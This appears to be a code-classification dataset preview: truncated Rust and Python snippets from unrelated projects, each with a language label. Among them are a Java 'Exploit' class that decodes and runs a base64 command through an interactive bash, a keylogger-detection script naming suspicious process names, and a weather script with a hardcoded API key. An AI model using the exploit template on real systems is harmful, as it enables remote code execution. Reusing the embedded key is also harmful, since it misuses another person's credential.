text string | label_name string | labels int64 |
|---|---|---|
:
// Because self.locked is not set, there are no readers. Other writers are excluded by the fact that the WriteGuard is held.
inner: unsafe { &mut *self.object.get() },
})
} else {
None
}
} else {
None
... | Rust | 0 |
use rand::{thread_rng, Rng};
use rand::rngs::ThreadRng;
use std::ops::Deref;
pub use bincode::{deserialize, serialize};
use std::fs::File;
use std::io::Write;
use std::io::BufReader;
use std::io::Read;
#[derive(Clone, Serialize, Deserialize, Debug)]
pub struct Genome {
num_inputs: usize,
num_outputs: usize,
fit... | Rust | 0 |
# Furniture.py - This program calculates profits and sales prices for a furniture company.
itemName = "TV Stand"
retailPrice = 325.00
wholesalePrice = 200.00
# Write your assignment statements here for profit, salePrice, and saleProfit
print("Item Name: " + itemName)
print("Retail Price: $" + str(retailPrice))
print... | Python | 1 |
E DDHO
0xAB11..=0xAB16, // Lo [6] ETHIOPIC SYLLABLE DZU..ETHIOPIC SYLLABLE DZO
0xAB20..=0xAB26, // Lo [7] ETHIOPIC SYLLABLE CCHHA..ETHIOPIC SYLLABLE CCHHO
0xAB28..=0xAB2E, // Lo [7] ETHIOPIC SYLLABLE BBA..ETHIOPIC SYLLABLE BBO
0xAB30..=0xAB5A, // L& [43] LATIN SMAL... | Rust | 0 |
"8月", "9月", "10月", "11月"],
"数据": [755, 664, 1082, 692, 729, 941, 1131, 2022, 831, 760, 371]})
# v1 = [18, 59, 26, 38, 9, 17]
x_data = df['分类'].tolist()
y_data = df['数据'].tolist()
line = Line()
line.add_xaxis(x_data)
line.add_yaxis("数据", y_data)
line.set_global_opts(title_opts=opts.TitleOpts(title="e... | Python | 1 |
"e67dd0c1_f2a8_4161_aa1b_18cdaec4e496";
format_ident!("{}_{}_{}", self, env!("CARGO_PKG_NAME"), SUFFIX_UUID)
}
fn mangle_ident(self, ident: &syn::Ident) -> syn::Ident {
format_ident!("{}_{}", ident, self.into_mangled_ident())
}
pub fn mangle_path(self, mut path: syn::Path) -> syn::Res... | Rust | 0 |
<C>(
request: RequestMessage<FlvDeleteCustomSpusRequest>,
ctx: &PublicContext<C>,
) -> Result<ResponseMessage<FlvDeleteCustomSpusResponse>, Error>
where
C: MetadataClient,
{
let mut response = FlvDeleteCustomSpusResponse::default();
let mut results: Vec<FlvResponseMessage> = vec![];
// look-up ... | Rust | 0 |
it.dst.into()),
authz: permit.labels.clone(),
tls,
}
}
}
<gh_stars>0
#[macro_use]
extern crate serde_derive;
extern crate rand;
extern crate tcod;
mod constants;
use tcod::colors::{self, Color};
use tcod::console::*;
use tcod::input::Key;
use tcod::input::KeyCode::*;
use tcod::inp... | Rust | 0 |
let Some(simd_json::Node::Object(2, _)) = tape.next() {
match tape.next() {
Some(simd_json::Node::String("start")) => {
let start = Deserialize::from_tape(tape)?;
if let Some(simd_json::Node::String("end")) = tape.next() {
let ... | Rust | 0 |
).unwrap();
let ambient_buffer = ImageView::new(
AttachmentImage::with_usage(
gfx_queue.device().clone(),
dims,
Format::A2B10G10R10UnormPack32,
atch_usage,
).unwrap(),
).unwrap();
let specular_buffer... | Rust | 0 |
te_export_name(self.export_name)
if self.export_name != valid_name:
self.export_name = valid_name
self.name = f"{get_export_filename(self.export_name, self.export_type, include_extension=False)}"
origin_objects = self.origin_objects
if origin_objects:
origin_obje... | Python | 1 |
import mock
import pytest
from uaclient import exceptions
from uaclient.api.u.pro.attach.auto.should_auto_attach.v1 import (
_should_auto_attach,
)
M_PATH = "uaclient.api.u.pro.attach.auto.should_auto_attach.v1"
class TestShouldAutoAttachV1:
@pytest.mark.parametrize(
"expected,installed_pkgs",
... | Python | 1 |
uoted();
assert_eq!(&name, "[safe_name]");
let name = SqlName::new("safe_name").alias("sn").brquoted();
assert_eq!(&name, "[safe_name] AS sn");
let name = SqlName::new("safe_name").add("sub").alias("sn").brquoted();
assert_eq!(&name, "[safe_name].[sub] AS sn");
let nam... | Rust | 0 |
king_AddRequestLobbyListDistanceFilter(
self_: *mut ISteamMatchmaking,
eLobbyDistanceFilter: ELobbyDistanceFilter,
);
}
extern "C" {
pub fn SteamAPI_ISteamMatchmaking_AddRequestLobbyListResultCountFilter(
self_: *mut ISteamMatchmaking,
cMaxResults: ::std::os::raw::c_int,
);
}
extern "C" {
pub fn SteamAPI_IS... | Rust | 0 |
!(tvl, 0);
}
})
}
#[test]
fn should_cache_roots_if_no_new_deposits_show() {
new_test_ext().execute_with(|| {
System::set_block_number(1);
assert_ok!(Mixer::initialize());
let mut tree = FixedDepositTreeBuilder::new().build();
let mut merkle_roots: Vec<ScalarData> = vec![];
for i in 0..4 {
let leaf = t... | Rust | 0 |
unique_items: Option<bool>,
}
use eye_hal::buffer::Buffer;
use eye_hal::format::PixelFormat;
mod error;
mod rgb;
#[cfg(feature = "jpeg")]
mod jpeg;
pub use error::{Error, ErrorKind, Result};
/// Returns all available blueprints.
pub fn blueprints() -> Vec<Box<dyn Blueprint>> {
vec![
Box::new(rgb::bluep... | Rust | 0 |
{
sha256, double_sha256, double_sha256_checksum
};
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_sha256() {
assert_eq!(
sha256(b"data"),
b":n\xb0y\x0f9\xac\x87\xc9O8V\xb2\xdd,]\x11\x0eh\x11`\"a\xa9\xa9#\xd3\xbb#\xad\xc8\xb7"
);
}
#[test]
fn... | Rust | 0 |
cx, did) {
lowest = remove_copyable(lowest);
}
lowest
}
// Tuples lower to the lowest of their members.
ty_tup(tys) => {
let mut lowest = kind_top();
for tys.each |ty| { lowest = lower_kind(lowest, type_kind(cx, ty)); }
lowest
}
// Enums... | Rust | 0 |
he second to the first Map and remove
# the respective node of the second Map.
for to_node, from_node in [
(first_map_entry, second_map_entry),
(first_map_exit, second_map_exit),
]:
mfhelper.relocate_nodes(
from_node=from_node,
... | Python | 1 |
f_aa} in Heads vs Tails.png")
plt.savefig(
f"/home/luisa/Documents/Work/Uni_Cambridge/Diagrams/Absolute Positions of {motif_aa} in Heads vs Tails.png")
plt.close()
# ### plot distribution for relative positions
# plt.figure()
# plt.hist(all_heads_rel_pos, bins=100, label='Heads',alpha = 0.5... | Python | 1 |
raise ValidationError(f'产品[{goods.name}]出库数量错误')
if goods.enable_batch_control:
if not (batch := attrs.get('batch')):
raise ValidationError(f'产品[{goods.name}]未选择批次')
if batch.goods != attrs['stock_out_goods'].goods:
raise Val... | Python | 1 |
pele_clara:',
'it': ':operaio_edile_uomo_carnagione_chiara:',
'fa': ':کارگر_ساختمانی_مرد_پوست_سفید:',
'id': ':pekerja_konstruksi_pria_warna_kulit_cerah:',
'zh': ':男建筑工人_较浅肤色:',
'ru': ':мужчина_строитель_очень_светлый_тон_кожи:'
},
'\U0001F477\U0001F3FE\U0000200D\U00002642... | Python | 1 |
float().unwrap_or(0.0) * 99.0)
.to_u8()
.unwrap_or(0);
state.white.warm = basic_value;
return StateModification::White;
}
"/cool" => {
let basic_value = (value.unwrap().float().unwrap_or(0.0) * 99.0)
.to_u8()
... | Rust | 0 |
# cv2.imwrite("MFT_demo.jpg", dot_vis)
# if i == 1:
# sys.exit(1)
edit = None
if args.edit.exists():
edit = cv2.imread(str(args.edit), cv2.IMREAD_UNCHANGED)
elif str(args.edit) == 'checkerboard':
logger.info("Generating a checkerboard pattern")
edit = vu.col... | Python | 1 |
let mut resource = inherit_fragment(resource, &self.resource);
std::mem::swap(&mut https, &mut self.https);
std::mem::swap(&mut host, &mut self.host);
std::mem::swap(&mut port, &mut self.port);
std::mem::swap(&mut resource, &mut self.resource);
sel... | Rust | 0 |
from django.urls import path
from . import views
urlpatterns = [
path('', views.order_list, name='order_list'),
path('add/', views.add_order, name='add_order'),
path('delete/<int:order_id>/', views.delete_order, name='delete_order'),
path('update/<int:order_id>/', views.update_order_status, name='updat... | Python | 1 |
l_save_dir)
export_to_gif(video_frames, out_file, 8)
if args.use_ema:
# Switch back to the original UNet parameters.
ema_controlnet.restore(controlnet.parameters())
del pipe... | Python | 1 |
F_CB_struct {
nVectors: 32i32 as opus_int16,
order: 16i32 as opus_int16,
quantStepSize_Q16: (0.15 * ((1i32 as opus_int64) << 16i32) as c_double + 0.5f64) as opus_int32
as opus_int16,
invQuantStepSize_Q6: (1.0f64 / 0.15f64 * ((1i32 as opus_int64) << 6i32) as c_double + 0.5f64)
as opus_int32 a... | Rust | 0 |
.exceptions.KubernetesError as exc:
logger.exception("Failed request to Kubernetes API.")
raise kopf.PermanentError("Failed request to Kubernetes API.") from exc
@kopf.on.probe(id="portal")
def check_portal_access(**kwargs):
try:
headers = {'User-Agent': 'training-portal-probe/1.0.0'}
... | Python | 1 |
Action.SIGN_IN, page_status)
if page_status.get('sign_out_available'):
await self._test_single_action(test_result, PunchAction.SIGN_OUT, page_status)
async def _wait_for_user_input(self, prompt: str) -> None:
"""在互動模式下等待用戶輸入"""
if not self.interactive_mode:
... | Python | 1 |
import pandas as pd
import matplotlib.pyplot as plt
import csv
rows = []
with open("failover_log.csv", newline='', encoding='utf-8') as csvfile:
reader = csv.reader(csvfile)
headers = next(reader)
for row in reader:
if len(row) >= 3:
timestamp, status, message = row[0], row[1], ",".join... | Python | 1 |
ual(G._succ, {0: {2: {0: {}}},
1: {0: {0: {}}, 2: {0: {}}},
2: {0: {0: {}}, 1: {0: {}}}})
assert_equal(G._pred, {0: {1: {0: {}}, 2: {0: {}}},
1: {2: {0: {}}},
2: {0: {0: {}}, 1: {0: {}}}})... | Python | 1 |
als: SignalSet,
driver: Driver,
}
impl From<SignalOnce> for SignalSetOnce {
#[inline]
fn from(signal: SignalOnce) -> Self {
let signals = SignalSet::from(signal.signal);
let driver = signal.driver;
Self { signals, driver }
}
}
impl Future for SignalSetOnce {
type Output = (... | Rust | 0 |
""" convert from a JPEG image to an openSCAD array declaration
for inclusion in an openSCAD script
parameters
1 image file name
2 width in pixels of the scaled image
output openscad code on stdout
uses PIL, numpy
Chris Wallace March 2015
"""
from PIL import Image
import numpy,sys
def ... | Python | 1 |
- |
# Exploit (Save as Exploit.java)
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("bash -c {echo,{BASE64}}|{base64,-d}|{bash,-i}");
} catch (Exception e) {
e.printStackTrace();
}
}
}
... | Python | 1 |
ad_binary(matches.value_of("GAME_ROM").unwrap());
let boot_rom = match matches.value_of("bootrom") {
Some(b) => Some(load_binary(b)),
None => None
};
let scale = match matches.value_of("scale") {
Some(val) if val.parse::<usize>().unwrap() == 1 => Scale::X1,
Some(val) if val.p... | Rust | 0 |
x)), Some(Some(raw_y)), Some(Some(y))) = p {
let (x, y) = self.projector.project_point((*x, *y));
let label = format!("{}, {}", raw_x, raw_y);
if started {
curve_data = curve_data.line_to((x, y));
} else {
... | Rust | 0 |
import requests
import pandas as pd
import numpy as np
import os
from dotenv import load_dotenv
load_dotenv()
last_fm_key = os.getenv("LASTFM_KEY")
username = "vortexual"
def getTopTracks(page):
r = requests.get(
f"https://ws.audioscrobbler.com/2.0/?method=user.gettoptracks&user={username}&page={page}&li... | Python | 1 |
er() {
let contents = Self::contents(&source)?;
interp.def_rb_source_file(source, contents)?;
}
Ok(())
}
}
use crate::img::Color;
use crate::tile::Palettes;
use png::{Decoder, DecodingError};
use std::error;
use std::fmt::{self, Display, Formatter};
use std::fs::File;
use std... | Rust | 0 |
# Copyright (c) 2019-2020 Idein Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, dis... | Python | 1 |
,
/// since they are part of the opcode's name.
///
#[regex(r"(fil2_|_vel2|effect[0-4]|cutoff2|resonance2|md5)", logos::skip)]
FalsePositive,
/// Returns the real numeric parameter
///
// TODO: IMPROVE (should be {1,3}, range 0-¿127? CHECK)
// #[regex("[0-9]{1,3}")] // ← constricted dig... | Rust | 0 |
hese might be relevant to python.
# JustMyCodeStepping: 0 or 1
# AllowOutOfProcessSymbols: 0 or 1
# DisableJITOptimization: 0 or 1
# InterpreterOptions: 0 or 1
# StopOnExceptionCrossingManagedBoundary: 0 or 1
# WarnIfNoUserCodeOnLaunch: 0 or 1
# EnableStepFilterin... | Python | 1 |
");
include!("mq_unlink.rs");
use std::sync::Arc;
use client::blockchain::HeaderBackend;
use codec::Encode;
use jsonrpc_core::{Error, ErrorCode, Result};
use jsonrpc_derive::rpc;
use node_primitives::{AccountId, AccountNonceApi, Block, BlockId, Index};
use sr_primitives::traits;
use substrate_primitives::hexdisplay::H... | Rust | 0 |
# Copyright HeteroCL authors. All Rights Reserved.
# SPDX-License-Identifier: Apache-2.0
"""Schedule primitive base."""
# pylint: disable=no-method-argument
from __future__ import annotations
from abc import ABCMeta, abstractmethod
PRIMITIVES = {}
STAGE_PRIMITIVES = {}
def register_primitive():
"""Register a pr... | Python | 1 |
)
forms = soup.find_all('form')
for form in forms:
links = form.find_all('a', href=True, class_='text-body') # Finds all <a> tags with an href attribute within the form
for link in links:
currentChannelLink = link['href']
currentChannelSubsStr= l... | Python | 1 |
# Code generated by Lark OpenAPI.
import lark_oapi as lark
from lark_oapi.api.hire.v1 import *
def main():
# 创建client
client = lark.Client.builder() \
.app_id(lark.APP_ID) \
.app_secret(lark.APP_SECRET) \
.log_level(lark.LogLevel.DEBUG) \
.build()
# 构造请求对象
request: Lo... | Python | 1 |
::core::GUID { data1: 1475533707, data2: 59067, data3: 17683, data4: [157, 67, 220, 210, 166, 89, 49, 37] };
pub const DMOCATEGORY_AUDIO_EFFECT: ::windows_sys::core::GUID = ::windows_sys::core::GUID { data1: 4083166015, data2: 1426, data3: 18655, data4: [164, 205, 103, 71, 33, 231, 235, 235] };
pub const DMOCATEGORY_AU... | Rust | 0 |
ub struct TransitionFade;
impl Component for TransitionFade {
type Storage = DenseVecStorage<Self>;
}
<filename>src/ecdh.rs
use sha2::Sha256;
use digest::{FixedOutput, Input};
use crate::group::{Affine, Jacobian};
use crate::scalar::Scalar;
use crate::ecmult::ECMultContext;
impl ECMultContext {
pub fn ecdh_r... | Rust | 0 |
, size: usize) {
stats_add!(self, 1, offered);
stats_add!(self, 1, accepted);
stats_add!(self, size as u64, accepted_bytes);
self.check_mark();
}
// TAKETHIS 439
pub fn art_rejected(&mut self, size: usize) {
stats_add!(self, 1, offered);
stats_add!(self, 1, r... | Rust | 0 |
🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄
// Solves the 9th advent-of-code 2021 challenge.
// See the exercise at https://adventofcode.com/2021/day/9
// 🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄🎄
// Your data may vary; adjust WIDTH and DATA accordingly.
const WIDTH: usize = 100;
const DATA: &[... | Rust | 0 |
# The problem requires implementing an in-memory key-value store
# where you can set a key-value pair and
# retrieve the value of a key.
# Example:
# db.set(101, ["Sanjeev", "ProdSec"])
# db.set(102, ["Deep", "DevSecOps"])
# db.get(102)
# Think of command line for n inputs, set for n inputs, then based on command impl... | Python | 1 |
= cluster.KMeans(2, euclidean_distance, svd_dimensions=1)
# print 'Clusterer:', clusterer
# clusters = clusterer.cluster(vectors)
# means = clusterer.means()
# print 'Means:', clusterer.means()
# print
# clusterer = cluster.EM(means, svd_dimensions=1)
# clusters = clusterer.cluster(vectors... | Python | 1 |
orch.clamp(dh, max=self.scale_clamp)
pred_ctr_x = dx * widths[:, None] + ctr_x[:, None]
pred_ctr_y = dy * heights[:, None] + ctr_y[:, None]
pred_w = torch.exp(dw) * widths[:, None]
pred_h = torch.exp(dh) * heights[:, None]
pred_boxes = torch.zeros_like(deltas)
pred_boxe... | Python | 1 |
ef tas2mach(Vtas, H):
"""True Airspeed to Mach number"""
a = vsound(H)
Mach = Vtas/a
return Mach
def mach2tas(Mach, H):
"""Mach number to True Airspeed"""
a = vsound(H)
Vtas = Mach*a
return Vtas
def eas2tas(Veas, H):
"""Equivalent Airspeed to True Airspeed"""
rho = density(H)... | Python | 1 |
= " For example, on a 3-qubit state-vector,"]
#[doc = " ```"]
#[doc = " int paulis[6] = {PAULI_X, PAULI_I, PAULI_I, PAULI_X, PAULI_Y, PAULI_Z};"]
#[doc = " qreal coeffs[2] = {1.5, -3.6};"]
#[doc = " applyPauliSum(inQureg, paulis, coeffs, 2, outQureg);"]
#[doc = " ```"]
#[doc = " wi... | Rust | 0 |
import re
def post_process_autoj(judgement: str):
"""Input a string like below:
xxx[[5]]xxx, and extract the score
"""
pattern = r'\[(\d+)\]'
matched_result = re.findall(pattern, judgement)
if matched_result:
score = int(matched_result[0])
else:
return None
return {'sc... | Python | 1 |
from benchopt import safe_import_context
# Protect the import with `safe_import_context()`. This allows:
# - skipping import to speed up autocompletion in CLI.
# - getting requirements info when all dependencies are not installed.
with safe_import_context() as import_ctx:
from benchmark_utils.base_solver import DA... | Python | 1 |
plt.ylabel("Velocity (m/s)")
origin = torch.tensor(
[torch.mean(pos[:, 0]), torch.mean(pos[:, 1]), 0],
device=dev,
dtype=torch.float32,
)[None, :]
pos_centered = pos - origin
print("Focusing final image")
sar_img = torchbp.ops.backprojection_polar_2d( fsweeps, grid_polar, fc... | Python | 1 |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | Python | 1 |
ollections::{btree_map as map, btree_set as set, BTreeMap as Map};
#[cfg(feature = "application")]
pub use crate::{
application::{boot, Application},
component::Component,
shutdown::Shutdown,
};
#[cfg(feature = "config")]
pub use crate::config::{Config, Configurable};
#[cfg(feature = "options")]
pub use ... | Rust | 0 |
from typing import Union
import numpy as np
from jesse.helpers import get_candle_source, slice_candles
def trima(candles: np.ndarray, period: int = 30, source_type: str = "close", sequential: bool = False) -> Union[
float, np.ndarray]:
"""
TRIMA - Triangular Moving Average
:param candles: np.ndarra... | Python | 1 |
ringPoint<'a>) -> ZPR<'a, &'a str> {
string_point_consume_while(pt, |c| c >= 'a' && c <= 'z')
.map_err(|_| Error::ExpectedLabelValue)
}
fn parse_jump<'a>(pm: &mut ZPM<'a>, pt: StringPoint<'a>) -> ZPR<'a, Token<'a>> {
parse_jump_instruction(pm, pt, "JUMP", Token::Jump, Error::ExpectedJump)
}
fn parse_j... | Rust | 0 |
"""
Python 3 Object-Oriented Programming
Chapter 13. Testing Object-Oriented Programs.
"""
from __future__ import annotations
import checksum_writer
import pytest
from pathlib import Path
from typing import Iterator
import sys
@pytest.fixture
def working_directory(tmp_path: Path) -> Iterator[tuple[Path, Path]]:
... | Python | 1 |
#
'''
CONSTANTE = 'Variavéis' que não vão mudar
muitas condições no mesmo if (ruim)
<-Contagem de complexidade (ruim)
'''
velocidade = 61 #velocidade atual do carro
local_carro = 101 #local em que o carro esá na estrada
RADAR_1 = 60 # velocidade máxima do radar 1
LOCAL_1 = 100 # local onde o radar 1 está
RADAR_RAN... | Python | 1 |
1.0/>.
//
//! # Network Support
//!
//! This module defines support for (de)serialization and network transport
//! of Bitcoin data and network messages.
//!
pub mod constants;
pub mod consensus_params;
pub mod encodable;
pub mod socket;
pub mod serialize;
pub mod address;
pub mod listener;
pub mod message;
pub mod... | Rust | 0 |
#!/usr/bin/env python3
import os
import psutil
def check_process_names():
"""Check for suspicious process names."""
suspicious_names = ["keylogger", "logkeys", "xinput", "pylog"]
found = []
for proc in psutil.process_iter(['pid', 'name']):
try:
process_name = proc.info['name'].low... | Python | 1 |
import gc
import matplotlib.pyplot as plt
import numpy as np
import pytest
from utils import create_dummy_h5
from torchgeo.datasets import unbind_samples
@pytest.fixture
def dummy_landslide_data(tmp_path) -> str:
base_dir = tmp_path / "landsense"
base_dir.mkdir()
splits = {"train": "train", "val": "valid... | Python | 1 |
>
) -> RResult<(),RIoError>
where R:Read
{
extern_fn_panic_handling! {
let this=this.transmute_into_mut::<R>();
convert_io_result(this.read_exact(buf.into()))
}
}
///////////////////////////
#[repr(C)]
#[derive(StableAbi)]
#[derive(Copy,Clone)]
pub struct IoBufReadFns{
pub(super) fill_bu... | Rust | 0 |
35d advanced notification {35d,
42d}.
"""
UPDATE_CHANNEL_UNSPECIFIED = 0
EARLIER = 1
LATER = 2
WEEK1 = 3
WEEK2 = 4
WEEK5 = 5
channel = _messages.EnumField('ChannelValueValuesEnum', 1)
denyMaintenancePeriods = _messages.MessageField('DenyMaintenancePeriod', 2, repeated=True)
wi... | Python | 1 |
import torch
from pina import Condition
from pina.geometry import Location
class Material:
"""
Material class representing material properties for 3D electromagnetics simulation.
"""
def __init__(self, name, tand=0, sigma=0, epsilon=1, mu=1.256e-6):
self.name = name
self.epsilon = ep... | Python | 1 |
are allocated using the `LargeObjectSpace`.
pub const LARGE_OBJECT: usize = 8 * 1024;
/// Whether the reference counting collector should be used. Otherwise only
/// the tracing immix collector will be utilized.
pub const USE_RC_COLLECTOR: bool = true;
/// Number of write barrier invocations after which a collection... | Rust | 0 |
current joint angle in radians.
pub fn get_joint_angle(&self) -> f32 {
let b_a = self.base.m_body_a.borrow();
let b_b = self.base.m_body_b.borrow();
return b_b.m_sweep.a - b_a.m_sweep.a;
}
/// Get the current joint angular speed in radians per second.
pub fn get_joint_angular_speed(&self) -> f32 {
let w_a... | Rust | 0 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2019 Shigeki Karita
# Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0)
"""Positionwise feed forward layer definition."""
import torch
class PositionwiseFeedForward(torch.nn.Module):
"""Positionwise feed forward layer.
:param int idim: inp... | Python | 1 |
join("heads");
Depot::replace_dir(&objects_refs, &refs_refs)?;
Ok(())
}
pub fn clone_repo<T: AsRef<Path>>(
&self,
remote_config: &config::RemoteConfig,
project: &str,
branch: &str,
path: T,
) -> Result<(), Error> {
let path: &Path = path.as_ref();
let repo = Depot::clone_alt... | Rust | 0 |
# -*- coding: utf-8 -*-
from colorama import Fore, Back, Style
import datetime
def split_array(arr, size):
count = len(arr) // size + 1
new_arr = []
for i in range(count):
new_arr.append(arr[i*size:(i+1)*size])
return new_arr
def try_to_get_carousel(array, post):
try:
node = vars(... | Python | 1 |
ague_table[away_team]['Wins'] += 1
league_table[away_team]['Points'] += 3
league_table[home_team]['Losses'] += 1
else:
league_table[home_team]['Draws'] += 1
league_table[away_team]['Draws'] += 1
league_table[home_team]['Points'] += 1
league... | Python | 1 |
="zoom-level">{zoom}</span>
</div>
<div class="control-group">
<span class="control-label">📍 鼠标位置:</span>
<span class="control-value" id="mouse-coords">移动鼠标查看坐标</span>
</div>
</div>
</div>
<script src="https://unpkg.com/leaflet@1.9.4/... | Python | 1 |
mk_2 != mk_3 {
//! # return Err(DkgError::InconsistentMasterKey);
//! # }
//! #
//! # Ok(())
//! # }
//! # fn main() { full_run().unwrap() }
//! ```
//!
//!
//! [Gennaro]: https://link.springer.com/article/10.1007/s00145-006-0347-3
//! [spec]: https://github.com/input-output-hk/treasury-cry... | Rust | 0 |
import cv2
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.colors import LinearSegmentedColormap
def create_custom_colormap(name="CUSTOM", colors=None, N=256):
"""
Creates a custom colormap that closely resembles Forensically’s luminance gradient.
Parameters:
name (str): Nam... | Python | 1 |
# Call the method
result = agent._wait_for_run("test_thread_id", "test_run_id")
# Assertions
assert result is mock_run
mock_retrieve.assert_called_once_with(
thread_id="test_thread_id",
run_id="test_run_id"
)
... | Python | 1 |
x02\x01\x01\x02\x01\x02\x02\x01\x03",
),
]);
assert_writes(&[(
parse_single::<SetOf<u64>>(b"\x31\x06\x02\x01\x05\x02\x01\x07").unwrap(),
b"\x31\x06\x02\x01\x05\x02\x01\x07",
)]);
}
#[test]
fn test_write_implicit() {
#[cfg(feature = "const... | Rust | 0 |
ash.fna.sig").exists());
for k in &["21", "31", "51"] {
let mut cmd = Command::new("sourmash");
cmd.arg("compare")
.args(&["-k", k])
.arg("ecoli_decoct.fna.sig")
.arg("ecoli_sourmash.fna.sig")
.current_dir(&tmp_dir)
.assert()
.... | Rust | 0 |
fn main() {
let mut a = Cons::new(0);
a.append(&vec![1, 2, 3, 4]);
dbg!("{:?}", a);
let a = Cons1::new(0);
let thiscons1 = Cons1::append(Rc::new(RefCell::new(a)), &vec![1, 2, 3, 4]);
let mut a = thiscons1.clone();
loop {
println!(
"{}, last is_some?: {}",
R... | Rust | 0 |
print(" Convert ruppes into dollars")
ruppesAmount = int(input("Enter the amount in Rs. : "))
rsIntoDollar = (ruppesAmount / 84)
print(ruppesAmount, " convert into dollar ", rsIntoDollar)
| Python | 1 |
LATIH HEAD ---
print("\n--- TAHAP 1: Melatih Classifier Head ---")
for param in model.parameters():
param.requires_grad = False
# Ambil classifier layer dari backbone timm
classifier_module = model.backbone.get_classifier()
for param in classifier_module.parameters():
param.requires_grad = True
optimi... | Python | 1 |
!(fn push_state());
generate_stack_func!(fn pop_state());
generate_stack_func!(fn get_category(ch: char) -> Category);
generate_stack_func!(fn set_category(global: bool, ch: char, cat: Category));
generate_stack_func!(fn get_math_code(ch: char) -> MathCode);
generate_stack_func!(fn set_math_code(gl... | Rust | 0 |
unwrap();
}
use crate::geometry::tree::GraphGeo;
use crate::geometry::tree::GraphGeoElement;
use crate::geometry::NodeGeo;
use crate::geometry::{Edge, Node};
use arraystring::{typenum::U64, ArrayString};
use bimap::BiMap;
use geo::algorithm::euclidean_distance::EuclideanDistance;
use geo::prelude::Intersects;
use geo:... | Rust | 0 |
n invalid() -> Self {
ParseBigIntError {
kind: BigIntErrorKind::InvalidDigit,
}
}
}
impl fmt::Display for ParseBigIntError {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
self.__description().fmt(f)
}
}
impl Error for ParseBigIntError {
fn description(&self... | Rust | 0 |
def assert_screenout(out, what):
out_pr = apply_print_resets(out).lower()
match_str = out_pr.find(what.lower())
assert match_str != -1, f'expecting to find {what} in output: f{out_pr}'
| Python | 1 |
let array: ArrayRef = match field.data_type() {
DataType::Utf8 => {
let mut builder = StringBuilder::new(items.len());
for item in items {
let attr = item.get(field.name());
match attr.and_then(|v| v.s.as_ref()) {
Some(value) => builder.append_value(value)?,
None => builder.append_nu... | Rust | 0 |
import numpy as np
from pathlib import Path
import scienceplots
import matplotlib.pyplot as plt
plt.style.use('science')
plt.style.use(['science','ieee'])
import sys, os
sys.path.append(os.pardir)
sys.path.append(os.path.abspath(os.path.join(os.getcwd(), "../..")))
results_folder = Path("results")
dims = np.load(res... | Python | 1 |
(rename = "recurring")]
Recurring,
}
impl PaymentIntentOffSession {
pub fn exists(n: bool) -> Self {
PaymentIntentOffSession::Exists(n)
}
pub fn frequency(n: OffSessionOther) -> Self {
match n {
OffSessionOther::OneOff => PaymentIntentOffSession::Other(OffSessionOther::OneOf... | Rust | 0 |
import random
import pygame
from asteroid import Asteroid
from constants import *
class AsteroidField(pygame.sprite.Sprite):
edges = [
[
pygame.Vector2(1, 0),
lambda y: pygame.Vector2(-ASTEROID_MAX_RADIUS, y * SCREEN_HEIGHT),
],
[
pygame.Vector2(-1, 0)... | Python | 1 |
import random
import time
import requests
api_key = '194775dc6dd9f7b8f5f0e77f1733a330'
city_list = ['bangkok', 'mumbai', 'kolkata', 'tokyo', 'chennai', 'dhaka',
'jaipur', 'beijing', 'delhi', 'punjab', 'pune', 'kashmir', 'lucknow', 'dubai', 'bangalore']
city = random.choice(city_list)
url = f'http://api.... | Python | 1 |
# Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
# If ex... | Python | 1 |
ontext.audit_data(
record,
ignore=[
"rysiaiSuJa", # relationships with declarant
"sutuoktinioDarbovietes", # spouse's affiliations
"pateikimoData", # date of submission
"viesumoNutraukimoData", # date of last modification
... | Python | 1 |
work_types(),
multicast_dns_mode: MulticastDnsMode::Disabled,
net: Some(net1),
keepalive_interval,
check_interval,
..Default::default()
};
let b_agent = Arc::new(Agent::new(cfg1).await?);
b_agent.on_connection_state_change(b_notifier).await;
// Manual signaling... | Rust | 0 |
#
# Copyright (c) 2023-2024 - Restate Software, Inc., Restate GmbH
#
# This file is part of the Restate SDK for Python,
# which is released under the MIT license.
#
# You can find a copy of the license in file LICENSE in the root
# directory of this repository or package, or at
# https://github.com/restatedev/sdk... | Python | 1 |
}
fn poll_read( &mut self ) -> Async< ( ) > {
if self.taken_slots( ) == 0 && self.has_sender( ) {
self.parked_read.park( );
Async::NotReady
}
else {
Async::Ready( ( ) )
}
}
fn poll_write( &mut self ) -> Async< ( ) > {
if self.ava... | Rust | 0 |
}
}
<reponame>elpinal/stletiori<filename>src/language/intermediate/dynamic.rs
//! The dynamic semantics.
use std::collections::BTreeMap;
use std::convert::TryFrom;
use failure::Fail;
use super::Term as Tm;
use super::Variable;
use crate::language::BaseType;
use crate::language::Lit;
use crate::language::Type;
us... | Rust | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.